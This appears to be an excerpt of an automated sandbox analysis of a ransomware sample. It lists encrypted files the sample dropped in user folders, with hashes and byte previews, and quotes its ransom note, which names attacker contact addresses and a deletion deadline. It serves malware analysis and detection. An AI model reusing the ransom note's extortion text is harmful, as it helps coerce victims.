Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Documents\PALRGUCVEH\TQDFJHPUIU.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8515272983864
Encrypted:	false
SSDEEP:	24:PQFGAAnQ7teCVCwY+bGnF95ABekyau5KA3OSQN+epkZkNe:zXnitepSzBeky8pSE+ZkNe
MD5:	260B4E6720707CB9C84BB446A94314A5
SHA1:	39E5F6725BDD11E7CE259CC1E55735229107E392
SHA-256:	F389406E51D4EE1C7AB17B5A33D34B5A5041D70C277A2F501C011EEC40E65477
SHA-512:	C56EF434DAED0C9B6A0A894DB3F8D6F7F6740C1784831581D8B5BC85061722570EADF4B00A809B43DE2BA7B7DFB881E275546BABB7E602223AEAF0DB278EFEBA
Malicious:	false
Preview:	GZ......R..i..'U%..F\|..@..q..Ez+..s.<.......N....b2gN0.....&>.u$m7.@g{c....CFA..8.ED......`C...x....P..F..Iu.>~...KA..A...R.%s.v...y..e....C....6m.\|.tW;oZ..<..5..g......t....H...#..o<@8.Y.r..8?G.L....Y....s..S..c=._b"<.Q.......4...fu..@...P...e.\|..Z.......R....F.-......6....^..]a............m;]2.DV.7+Q]............}..+?...B.WN&.......+@\|..\..._..I.h.b.m....'..~...Up..t..z......Y..H..~w.I.....l,..u.5w..&.......o-.}q.H....1..v.nWe._..H.....`(........>.......k...b.5p.i.X.~-.....#.:...P,.7...W.....P......?}7...H..hG..`..i."W........F.....^.....Y8...W...@rC`......'.5..?b.......x.....8._1/.%...x..R.....9.&.BA...\....{......O......<.Tf^.{.h..XS4.G.....g.w.;n..tU..5..e......'s..+..~.......B...,.H.Rw....H`....Yk8T.3...rW._.3..zN...........7F..X....u....Af....vp....Y..1.;hb.F.k... ..../G...?@."...z..:wm.3...P@;. s..$1M.d.....8.....2....>...dT+F'x4sD.v.........4...n....D....$[jD..g%A..S.A.q.}QX}:..R.......)g..-. ...1. 0.$.z[......J

C:\Users\user\Documents\PALRGUCVEH\UNKRLCVOHV.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.852217772102153
Encrypted:	false
SSDEEP:	24:LxLSeTZcGwTXgSwnjQg+U4++/1Otp9ApaMNAMki9nz4/bJti9P4+nf271ax7:LxLSelc9XgSQj+USOtpQamAMxnziLi91
MD5:	1C5610400A330A3442C9BB36C929D581
SHA1:	D0F1A0946B828CD7567C4523732DD9DAC08ADCCF
SHA-256:	DAAD536394113481CB0565DBF0590EF7193B76D298B60917A3D61F6BAFA1644E
SHA-512:	42578A7C52629CFD6C5C042AC46B12228D320D93EC1F5C7D3F2124FBD827935654598A8FEDB3353A4656E0BCEC360611AC5F29CBF8593A8E2C6A83B0D2090BB9
Malicious:	false
Preview:	.HY..%./. .....R....u..Z.J...R)dO.dOTb.L.u.)..B...~.x.V..X.a..m4S.p'........p.82{6l.B\|ZY.....~_..$<.....p.o..2.W.H........}.H".-l..#......MoXZQ/..p6f......q;t.GV.[.)y........]5...-.d......{5....T7x..P..~..Z.....9]$.............c..<...r.8...Q.RFOg.....@.(..uAy. ^O.IA3P..J.....~...-yH.HV(.k=......5.....(..2S.u....9.._.s..]{.y.<....".<...0.i8.r....?o... ......c{!...........@d...%Z...ov.d..m.G.,B..e....b^.a.^6..(og.,......FN.....w......Ev.....t.."..^.D....PF..........j4..Q.:...V\|...V.......'N g..A3<$T..... ..N.k.}..=7.Ze.,..M..........w...5..[.....\....d'.x..o..`...+.D.....0x....8......\`.e.7b.+..9..iJ8.}}....".l..\.~...H..2.....!a.3....p.d^. .;3#.f..."T.f.i.,p.........kU.2Z.OZ.M...T..U.F.j.Y.a...n.K....d.hb......R.:.`I..x...z..ah..0.C%&.}....O.A...`..H..V..UF'..1.q..K0F.....Q@U:...waR...@E...Z..%V.e..g.4,Cp9.)M...W..H...%..Q.v.Pd...g..,Mo.T=....?F. .Bq:.7...}.Z.....&.....8.Y(...X4.v5..@.Lr.c42..Q...7..^U.>.O.ZG...YkCz..hA..^X2r.8

C:\Users\user\Documents\PALRGUCVEH\ZIPXYXWIOY.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8580837661542775
Encrypted:	false
SSDEEP:	24:uGMh2IuDX9iUIfNeg4M5BSeK4nsPUgAHZ6njSbqDd5cU:TIg/MyNBUgA56+qDjz
MD5:	909FDF2C1E2C3F6B9B2F522F962E0E78
SHA1:	382B3F8F69BF4FC9CDDEB344BF254EB3631B067B
SHA-256:	72ABF50F1E6913A122D122639F8BF992B4903C2B798273D7FCC5CC8BAD2971C7
SHA-512:	A8B830992645B25E54F6C23BEA87DCC28A1C3DC733FFF35B4839EBFB216851B69B298C4C5EE9712732AE89903BA52BA15E7F7449EBC89C20D363559B009A625E
Malicious:	false
Preview:	.~._..!....v.+.[~lP..~I._..\=.>..z..H...".+..@xS..%Z)3.. X....i..6....a....:...\|..~.....sSN.w....A.{o.)..;..u..F.{...{\|..:tG`.H.V....[..!...!...._........@Fvx..-]...,...........4.(..].X.X....>V1....G.U.m+.2..M.c..^fa......h....9-.".36.....B7?u.e...2:".8Y!....r.......0.u......^.....r6..%".CAq..u.i...........S...a...q..e.oh.M.h@....I.EU.u...V.......>D....RM...v..$.:. .=..T)}\|........!.7......r...S...eq.m[".ep.H..@...&V.y'......g.. GZ=.5. ...f.2.........]...C.=4u..Y...?..>.'.}3.......C.k...@%O..L.U..V:x!/.....n.........D......m../.%x....u......P.7.&.......T.e.=L8P..$..O....H,@.e..Q..t4....Y..sz..v.L....9..S..9BS~...AT.....(..]]8.{)....."..C..x...U.]g.1....%....y..d..qH...8.)e..(;.2.c.K....i.8..^2.........&.e..].......C.6.{...U..b`^.vgI...Y....zqy.r..jC.+.......X..b.:{...a.D./..UKq..w!..2F..l8a...g.>;.C........>...a...s.q....;..d.{...C......c..z....H.Md...^....}..}'1.+...@....8\|....z.f..*.....X.......]Z.0....L.U..Xk.5..R..R...w[.....-.

C:\Users\user\Documents\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Documents\TQDFJHPUIU.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.838940678732583
Encrypted:	false
SSDEEP:	24:QTCjHh/hJT/lhlFsAF0ImVlZN7MG65zvtHslhoIvBRxtd0hkBg:QTCt/n/lRpmZN7EvtHss6zxtK
MD5:	730ED991F0D142D6EC909558C1120249
SHA1:	F05C7E89CBF0474635FCCF442FA74D31064F9C38
SHA-256:	09928C63498CFD184200557375913719659D5955FDB3262196C53D85F9C038A3
SHA-512:	B2AF8E2E4CD611D78AB0FD5BD45F33378CCFF40755872F7000A7A5926D9626214CCA3518A49B66BF5D1C42A56691B95F5F80ADAF187F23E2CF9279C893FA263C
Malicious:	false
Preview:	..n......l.CEs.O.Hh..vG.pl....8!8.....P..P..8<..Z0......3..\|...VB/.:....3.fQ....n....Xg.F.r%[..y.1...N.X.l..t.R... ..wT.\|...A..{..5.e(..d.......}.....9._V.n=...F...\|a...........#...[.L8.....W...Q{@q..h2.l...o...,d.yG.n.@6`.d.o.s../..7....K.....)j..9......d.G.q......{..i.....?...H....m.........@......?z........>.s!L@...{.r.(o.....OKB....._.T..=...r].0..Gz.....o+r..3..Bu...EP.....a...[..........q.Kl...cy.H<4(N...F.#V4.$.F0.......#..ds2.Nd..'.zX..`..F..a.%.......T...b.\.x.Y5K..0VV..TE....Cm....{._..E..].n.v.T.........m..0>....T=.;......(....h.....B.'B.`w\.2P..UW...CtI...."..\.$e..L....N.y.f..^..sV..H;o9?w^....4v:...I.7..F.....?.j...-..U.Qt.2.[.h.;.Tl.X.....M....;./.Q.@.kW.~..\|..b).\!..{.....!Wn.../H.a.0]......+..?P ....6.f....y.R..{...8......m....{.t.(..%a.[.c/~.,.......&%.`....8...........b>Q.6.-\|tz.z....BT0B.....BWs......o.l.&.`.....-$O..ScSH.V@.t.U..F....?.3...um....H....dW8...1...o.. ..^.m#....i_.....w....ofI?..v....y.......2.PP[p.04.:

C:\Users\user\Documents\TQDFJHPUIU.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.870369580409697
Encrypted:	false
SSDEEP:	24:3vURSjpMoNsR738Dtb7tJdibRG1EkiawTX5BZBgb/+EHtq5Q5fW9zWxp:/URUiRrOb7libRG1XiaUB2HtpgpCp
MD5:	75226372A2F2D1A1C7B82AA4F4AFEDB6
SHA1:	467E262EB5F96A36489FBB6C87C1427017EA5185
SHA-256:	C5E8B6B6060627B5F5994A549472C8B85E22907739085C55A48F21609EE12907
SHA-512:	9E416DA84F7AED68FE0D98783687EC27B151C1FFAD3F856062B47B0FD8C4425C301B041936CC1126D9EFCA02335A608B7C40F029BEBD97181B460E1E64E8CA39
Malicious:	false
Preview:	O...M.^..}\.t.#...(.e.z........5...49....[..tv.#.."tu....J.[..6.W.....E.A{"$.m.w.F..ax.........E...w..fz...l$...r...pK.w.=.-._w....#.(.4H.R.6L%.S.:IH......F.=m..}-...}f.].....DU3....S.CsN......go.FR);..WRE}..G.m.0 VbkI..I...HD.sm...........N,.ged...@#.H.....S%. ?.R..fO.U..c......b....'0.[..8`...G.tp.._.lgoXR.p..<r.'...,J..%R...M.l.J.....<.gh.\.q+..r....v$B.A.W:x,I.Q.<..e.!.).+.9.U>CK.MX5..........W...D..1...D.F......l..%..[..9...X..F==.h..2....R.2.....M.,.....Dp...Qb...x..ZV.-l..O...T... .T[...RC.k3...R......l-.M....J....P.....8\9z3.v..=0...^...Wf..n.d..)...@.b\....C\.q.fc.b+.N.{"p.<.p\|U- :......zE.nlxV.F....R:...X(}E......g.....k....:K.;.w.....Qp..H.... c....G..OYy....}.s;...R...Dd..n.w...^..#...(Tq6...........I..oP.'...?+....#j.Y%...3.R..$UA............\|....o.......F..h.8......4''.Z2o.^..r.'...r..-^...>a{..>..5u.....-...4Yb.*.r...Y...`.......)jz9..q....e.Fk..?..#. ./.P......rov..K.!(..J-.`..V.Yg...Y<..$.1..E.<.T.y.c...n..0G.%.;..WK

C:\Users\user\Documents\TQDFJHPUIU.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.832259345197902
Encrypted:	false
SSDEEP:	24:phCFKbkSWlUUOoLQUa62AGzG285NQJSdlPj9pxnzlw5anEeec1Rq63JGwFcHJqd:eNllLO6Tlfj9z1nuc1Rq6ZGgFd
MD5:	314D2C06B59CCB90025D1E6D205B2D67
SHA1:	DAB72D5C45AD9C3B34BDE58540485795F5731D3C
SHA-256:	68F0922552E7D32C9C6B64892D9459013F8C1F5245BF58B9352D186FC47CEACE
SHA-512:	D1AC558BDD2A8551C322F50EEE91D505F22F3577F6427552281261355BC91146F66FE5D8FFAEA26F06CCC6910CA9F3122A55AEDCF1C28F6E1F9746FE5E48F622
Malicious:	false
Preview:	..R.K...v....M.W9.ae'.........7..p.....nn.,}.).NB).A.<....S...J.+...i^I^m....?Ft............."...Ix...N..K.0.a....TF8@.d.K.&.J;.......WP-.G%v[L...%.?j.=.J}C......ckZ....3...tH.L.Y....-E........G.....d.]....n.F....,.<=... ....1f..4Fa....\_..6...rz..A8....0...BR=.X..M...X.%j..V.{Y............K.Q.../.H...6wo..5..mZ....E...M..q.9'.D..../2g.....p]....5..W_.3.0..v.....e.....f(Z..+.:...;.N.}t.dNw...]f....!.'...Z.... G.D..M.X..W../m.%2....._3.e/..S+...+.H.O....@;.F....A..)..j.}W.....-.'.r....[9.m.E.M,.....+.B9....-}..U.E..3.. 9.......W[.PB.5../.8AR. F.y...."....Lm.4.J...t...R.f.1A.h......,Z8.f.dfM~.._.0~..G....(..'.c......E..Ik.................\|... ....G.FG...P.&tl.h.~ ...(..1J.e?..z.9...\..CAW.H......\|......V....g<&..A.Q.C.= .n.. ...D.z.S.8......:@5..Y....$K?Pk4..m....(.O...6d.q.-:.pJ.M..2..O..{...o..t...5.....{k8..l.V~..C..*<:+........V.\|.`...... .......6N........:9...W.GYtv....p.......;..N.\|..\......e...okGydA.t{..B.k.8.!..uSQ'.!Y...\....b.

C:\Users\user\Documents\UNKRLCVOHV.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8637942858825705
Encrypted:	false
SSDEEP:	24:JPiabaSq+3IpQT04YgQPCpi3+2pENY9tCTDaLORviEyNT5tjwz/obIWO:JPzuSX3Cr4YSgENmtCTDBRTyNT4WIWO
MD5:	74DC3B7B8A624C45605611D2C4CA6393
SHA1:	774ED3CB44E7A1926CA5CF16DE460DA9D90B1AE7
SHA-256:	4E50DD62B043242CA57A70EF97FC63905953DDD5FAA58EA3377B557CA3EE9519
SHA-512:	7424F87CF3F5F9DDB24F2977563633FA29F457530E8FB85C6AA65980CE0FDFD15FECCDF99715EBE561834B447B9F55FD6C3FFEDAD49A55D8EC128110E9BDC950
Malicious:	false
Preview:	...N..(;..............K..D.}...6).L0M.......Jwd.p:.Z.......\.W........@.....j/..]j..T{../C.x7.B.G..=UY.g/H.Z.nu..j.......Y9....e..'.....%..G.J...e.2P..z..0.n{......H...eq.o.C.X....Ir.Wg&..h..7..c.\|.K.....)Y....W<.,.F....TW..[...;.o.=.Vy..g+...@.8._..)...5).s.....h.T.EI..O...e.2...\.@._UT..7d<P..C.....X....Ky...$.V}.7.....w.+.T.b`...z..}...?.:.1..(..F.......Pc$.I.......jt.$...m..t..0\|.@.u~....h^.&.=~e-......X.k^r.Y.A.......}...B~.M.l^.V....q..u.."S5Z...u..u.Y8`.gu;..W..<$...R..&.65..[..V....2~ `.J.8R.].x$.6.X.X4N%~U...uV.."V=h....k.P= e...zKxfLA...alGQ.vd.^2.P......z.?-.)5...,....m.]"}SoV=...t.h.P.T..CT....8.Bn.jn..'../O......E.......`.?....<.3.0m..C..Q..5b...j..e).2X...K:.P.....96-.FI..]bk...'..UB.co......wm.W.3u..X..A.C..{.......fq+........'..}U...,.mn.....B......#.m.\|......vi.8,&.>..?.T=.oc...[...V.-....5i.~...4...F....+.#..JqO.hy...:\.}.DZ.B....C..m..`lB..H..)....I2...A..W..n..Mj......k.....@u...H..y...q.0.v*....Z..Y'....7'.\|I

C:\Users\user\Documents\ZIPXYXWIOY.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.856903145375003
Encrypted:	false
SSDEEP:	24:DwC/Ur5ssK6XWD7+2PpP6qxJH8r0C5WizJOg9fr0kpjBgtqz/mz//:0cUr5FK6O7J/xpC5T9fz9Lmr/
MD5:	661232C68276375987FE2DAFE5741D3E
SHA1:	DEE5A150C9EF2FEBCB80EAFC8A9764ABED11099E
SHA-256:	8EE1BF912845606809705A775282B7B465277FAC085702AA06C92350F8A2520D
SHA-512:	C8B09D4AC48485065A6F46A42E286400E2156622095589FF80BC492B87E5B7A2D2B065FC3C080CC56264978E732BDF1FF522BED6CEE11AB38300E082FD937A54
Malicious:	false
Preview:	.U....+~......U.r~\..y-.$....}@......}..s...9UJ7...m.s9..,D\|V..d7.....9.&..!.o.@V..>....XG.-%N&og.W....n..0.G......5ov...;.i-]..g...D.A.4..0.>.".l.P....AHE....'.......n6....#...T..1.....Y.M.0.)]..\..d.^..{.._......wy}U\..\|E.;.m1`..9.a....GW.!m.....VT..k}c`.')6....~/.gG....{sX....^4....\|..2.&c.W.I...Y...--.....,Z....d.K.Jh...(.F..\|..8{..&....cP.].iN.6.&f_.J..`........?Z.q "..b.L...-U........Y!K...e.b....q4<...BD.=a.d\|.GE.ZB..S+..k.l.#...1v...!..u....k.q.nH^.7_.d..H....K.C....y&@...8 y..4wqV.h......`..49F..DB.........@m.....7&.?....q...C....^t...U...e....u.).BI...;.....0.a&.P)C.xH(.JSO..g[.?....0.z.n.A..1.B.,.r..$Wl...?..!.z.<ao...v..`.......#..Kb.[.._,.,.]..>..i..F.H70;....*...j...xP..c.UZ.....X...yd.1....g.f..[G..)..9..x..uk.Z.bR..2dO.....S1..S....\..2.I.SV........cx.H._y.0~.mX!...R..r!w~....QN>..Q.....E.R.7^..N.....N...A.<....ua.O. ....Hd.f.Uk..'r.xK..#.F......6..a..A......&-..2../..Z..o.o..3.n.f.(=...4.f............2..^R....WF....,v..5.

C:\Users\user\Documents\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.7078277812723766
Encrypted:	false
SSDEEP:	12:AmXVPCW8filkDshgD4L2bSrI2SR79STZWiu0ZRXB4vTdYmcWzS9sLbqzHidhxpXW:NJCW86mDKgD4L2WKfAWbdYmcWzS9sLOB
MD5:	19DFFC11F8407FEA7F25A49FB6C692DF
SHA1:	2020CD6DCC9F2D29509CEFE55E7F0F713F09249E
SHA-256:	ABCF98E0BD8ADB97A44AF27AB8A47105892DB404954F04FD223E1CD3539AAC6F
SHA-512:	B800A9789092D990C7C3F11BDDBBF87800D912E6BB2D8999B1AA12B01C9D7FAA04488CE92443F37CA8F74B3031A5BC999F7D6CB09C905FAF3E95C17FDFEF2E69
Malicious:	false
Preview:	..BF.G]Mp...J_...e!fv......g]...&.@.\.b ......._.)...P^87...hW.m...$..V,g....S{y1)w:.Q....../z..Q....P../....=a@p..u.1.......4......ie...;F........B..s.jV.(_.....9...vT...w2.Lp.\..S<".+....o...v...+.1E..D..........q!.h..&......[5.e..}..U.jP..i(..+....\|cz.Gff.........X.Qs.....r....c..\..7.\q7.@[.....R..Y...o.X+7..`...~G./..X.$.lS.....j.....Zi. {vC........q.s2{....9.......z...I.e.`w..._.?.X.=.jq.K..,jn......ESr....e......../.Y.W./...6.7;2.<...!....X......"\.j..4p...y..1.O3..LPh!p.....8...u...wfd}.O..*.v.P..trR:...&[....$.....+...k.4p."..>.e..>E.9k...........Zy.7....C.......X..J.o3...s.P...'...w.7#..D.~.xf.$]#.L.6

C:\Users\user\Downloads\AQRFEVRTGL.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	SysEx File -
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.839749551229518
Encrypted:	false
SSDEEP:	24:+yJmm1amq7l7tGs6chO7VJILF791cKHfsMm2wDtqCaD:+ywmzq7BtgSIQ79JJXQqCaD
MD5:	3B41820AFB91A8BE835CAD5EE667E45D
SHA1:	89632E77297B14A730777FE6DBEDAEBAE4F601D5
SHA-256:	07159B588FE3DF0DA1C82E03652D4760E9431AAC6B57D332013FC9FED5EE0553
SHA-512:	AAE7953252B0162CABF7971E74A9FE522D46374EEBE4B3C2946CAA79538329534A98584E41444FC4384185A41A6EF2AD3C9BD6DB0C797548DAB61577B5A469BD
Malicious:	false
Preview:	.v.#..dCU..".\...n.h.......=+rc:LO.M;.B...}.^..W.m.8I.,q..Z..3...x..../I.C(.R(.w.. ]`}..f(....\|.^OF..+.mK.b.6{...k."..Vc.....!....6A....97a...Wrto.H...f..b.....97.CaX...T..k.p...X.2...2.Rw..\..?OI..S.c.I..{&.U.a.!...5..XMm"...KLA.C.......M.x.........XYk.-....Q....(...B..y..E.V...M(..\|.r........<.8..J.Z..6..@.H7...@..iO....W....m.+p..S.f..b...z(.R..(1..A4.D........I.#...0s.R9.8/:b:..v..x.'.a].E.h.P..-?.Z.....rSt.CP.H.P...!B;...C.....67.T.&....`.\!.2.}.#..%..Hg..o.=...3...J..R....'<.S~.-..;9V)soQ..@.....t`Q.~..4.v..G..wj..P.^...tp..8+.....&.eA..%..^./......c<5.].Zc\.`....#.....V. .......d..CG.:.Z....p.D.e.d..i.'......`U.....E...9X..\|g(..9.....4..1"......X9<.M1.qx)....H*.....w7O.p.Z%0...L.O.l..n......l\|..\iq....._.k.u3Z..v.J/!_....&d.zUA.;\|..;}..&J...,...r...3........`t...=f..{..M3<......-.x.F....B.d.X..O.2}{{{.2...q.a...#=8nQ....C.N(QyDz3}Y.W.n.J....:).......=.q.[p#..&?.W2.Q.z.C......!T..R.. .s.+.Q..u......:............F..A@.%...e..C

C:\Users\user\Downloads\BJZFPPWAPT.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.852009910561792
Encrypted:	false
SSDEEP:	24:Y59iU1MCSp928147izCAlygz/c4+VCRl1xC517M8/ZdZM4XRS:49j1y8814OjySzXW17JZ5XRS
MD5:	90FFC7025F4EC5CB374CAB5DFE5B3C79
SHA1:	8CA1074AF8E8D0DEC5EB0D7D2BD935D1D4007490
SHA-256:	591E61976C908C923C594B2D9369A0061455911648914AE4B257F3EEE5C01CA8
SHA-512:	4C2CBC52C958F7C20A0F4E7DC7DE55C49FE9524DA9C93ACB785D6F131C927F823F11F79583CE59947A51AA1BFF02616C6D439C4481AFBDEF5D7D9856DE0CFFD1
Malicious:	false
Preview:	g..J4..@..X..:.b......<.....r..b}ne+.4..dD.&.X.....r..C2..c{.Q.....Ub.....w~..@Y.\.U...J.#..4..J[.!x...8L[.....G..)%.f[..ZH..^..R....].J...8.l..I.Q...=Ak.w.;Y1{.=...i...z..0.&4..b.".....v.,.L......w.z.Ba.....n.r..h.0....m3.!..J1..n!...C....P....).\|...'.........-.vg]X`.l.i..D........6..(....U..iY.....e.e,...\|o...z.D.n..2?.A 8...>.'\..8..`.A:P<......#.f.t.&.V.=...\|.@,....65..v.g.de....s.@.U...J.F...l.=uX9..=...ZY2... .g.......r.!..........N.S.PX...,.#...b..y3....T.G.J.,.9.....7.R.U.E.r,...o...r..."\wl@^.T...[..c...`lsz.O.u.yz..Vr...Q}..3..K.W.h o.0~....W.......S.......F.uH._.L?..I.Jo0...M....y....n$R..O....*=..>.. ...9`.."....."........p..w.J.=(r;..,..~.d5E..f.....)t~@"l...I...&.P.6...SO...#.U.f..3..4u.".....k.......<.;....E.[....'G.-'\.....^.mrk.>...\|.....E....W.O..F.!.q.g.4~..'..P....#..d.... &.a6w.`h..^..5[{.r.....JP.[./49.s.Z...'..M.b..N......C....s.@P..(.~aS.....H?K..L...}n.XF.]..b.X.......~w..=..Zuw..Xj?.W..............!.ZWbc..&E......

C:\Users\user\Downloads\BJZFPPWAPT.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.860011836609721
Encrypted:	false
SSDEEP:	24:2M4XNjfQ0ookVVyyMvsM7cWaGG0VMlLvpiB/L9SZQY2yZyNiJj9:CXNjfGokC9PcWaGG0VMlzUBBHXyUkJj9
MD5:	DFA280E8E9DEDFCC545EA13F49832084
SHA1:	A9677A6CB6F662BCAC81E53CF2F4FB0893CA04A0
SHA-256:	FAA50B61538A992A9DFB94AF132130DC7FCDD056B512007B322C3A4704680B91
SHA-512:	768231B4D4C2CA446675E0E1363441021020AF93279DE7FF22CE6D0595184A219FF015688F28B6B6283DC6630737C4128A5A392501AB51843A5FA10E3C818D99
Malicious:	false
Preview:	.8......%.g.Uc...uXt....3qL#...l..mA.C..t.x...>.C.:.....&H..S...R.{.(.e...E."f..%.-P[......Zmj.m.Y..Q.'.2Z...Rv[....P,...u.-.i..>a..7._6...}.....%/j'2;.B.)k.}...!.."..n.m...7.kf.`.d..B(..a..p.L.f..j..9.....u..M .~...y0a.........4...!.!cK?P.~.././_.......<....../...Bb.<M..:....i..9..U...3..\|".1.ZB:..=........\.gLD.x...y...i....l........n..@fq5._H.m..U..O.M.o.C.".h_]...i....9.M..4....J.&m.N6.@.....%.Lh.....R_6...[.../...9,.U[....._..,b.t...h...'...0}Aj.+mk.5.?.....{-....,.....0..=..Z....y)L...;-............m......8:Y....$/.A.Q.R......9....S..#,.W......SK.W...3....m.l....!..]..{ixZKb..vV.9.y.o..$....Gy.-<..>....,]l;RbQ..:..(R...<.i.f6.....A..d...C....M&I..\..J>..a...rCb\VM....U0k.>.l.Tx..q....#.J!>.....x\md`J.i....k.....2`.9.nx..CI..-..:........<..J.N..q..^....m..U..)<9.F....i&...H.7.l.\|..S........%..2.T...1B.o..^....(d~..'..M`R~...gy..{.rQp.-....0.b1h.....\....2..u,...@.Y...........V&...F..i>.].d/..?.OL%....gA.....B..R.N..S..#....=i.3T....

C:\Users\user\Downloads\CZQKSDDMWR.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.877804314861687
Encrypted:	false
SSDEEP:	24:MNEYY+BfQUiY5HbdYksRiw3srqp2s6t3FLdILbEGtFDKzg3:sdXBYUi2HSPp2sSdIch83
MD5:	45D71DE24951B2E33AB2690FFF009CDF
SHA1:	31F51F382DC7714D85A4AB87C2A659CDC335BDBB
SHA-256:	24A060DA9A8C83161F35DA187F52AE33061E01A001CAD0AFE4A5DCBEAFEC457E
SHA-512:	A3CF6571E86A7A416ACDCFF8A9728AE9710E0A9216F0B7778FF7C04FF633329E53DA1F983C80A08C0CDE7264954608AFB31A17968D70B1C99710C87E16066DE8
Malicious:	false
Preview:	.%w.....i..m..).%...}N.s..z.h..(_....>.5........zc.S...K..}.+.`.o....+....5...kG..C.K..C.f[.......3.....aZ"2......m) 8....t.&.L.S..DV......O3..P...S.E'.N...+/.s._V...7<..Q.F.u1H..w..q.S.J...90.......dp$..`.....mo....i../t..Dj......}.....F..]l.....>..].s...c9......,`..2h......v\+2W.s....G..Q...P.8.c0....n.....[.v...k.}.+?p..H..i...jy.S....o..=...........s..Y..n....F...%.....'...w.YR....C...K...\../.`.\7.....rQ[........C.!....L..q.}.. f.....R.(."7.\|5.(..0?V8....w.p3\k..P8.els(@Ua...r....\|...........Q..8.J_...4.g.a.x&...f:.H\|..Y{.AF.n...9..j[y....-..i........Kq....W...dpb.X.=..<......5......:....7[.q.fh. ...\x.).F.lv...Z..`..=M.^y...........7.55)..%....`3..d.D(En....6g.t.zD1.-1...tjcQh...>..9..3XI..X..[....9%..+.N..<..-.x...T7....r.u...%..Uu@....../-,`\|<SvJ...).zaQ.b....LMH%..@...^.-....z.u`1Z..*/@..>V?.m.5..@..>....../....E?]....A.4.?o..y,..~..yt.^..Q..h.D93.a.V........x..f......Y..N...g!}....&#..b.>2..8m...Q.'V..B.0.'A..y.q.....P.T.

C:\Users\user\Downloads\DUUDTUBZFW.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.854239546640768
Encrypted:	false
SSDEEP:	24:lMaXSTWEpWasABTJ7xN0oB1y+nBN87M1iuZKhx5pyvWHNSFTyymcu:K5SyH3pdDBnIuZO+tPmcu
MD5:	B3359C10919A847F9B1C6100137D866A
SHA1:	1BD89B9121FB0AE81C6106A7286D40E6C3953C81
SHA-256:	8DA778B5938C622D00F910382A93A732B6D9589C5C86ACE983C09330123ACF6F
SHA-512:	F80A7CB855441D56764C016669A5CC0DAE04F9E963AC251C7F3A5A11A57B1A95A464D8624A208C58D8A702C9AD7035DCE6EC7EBA78FD2A2224A5F903B50300C7
Malicious:	false
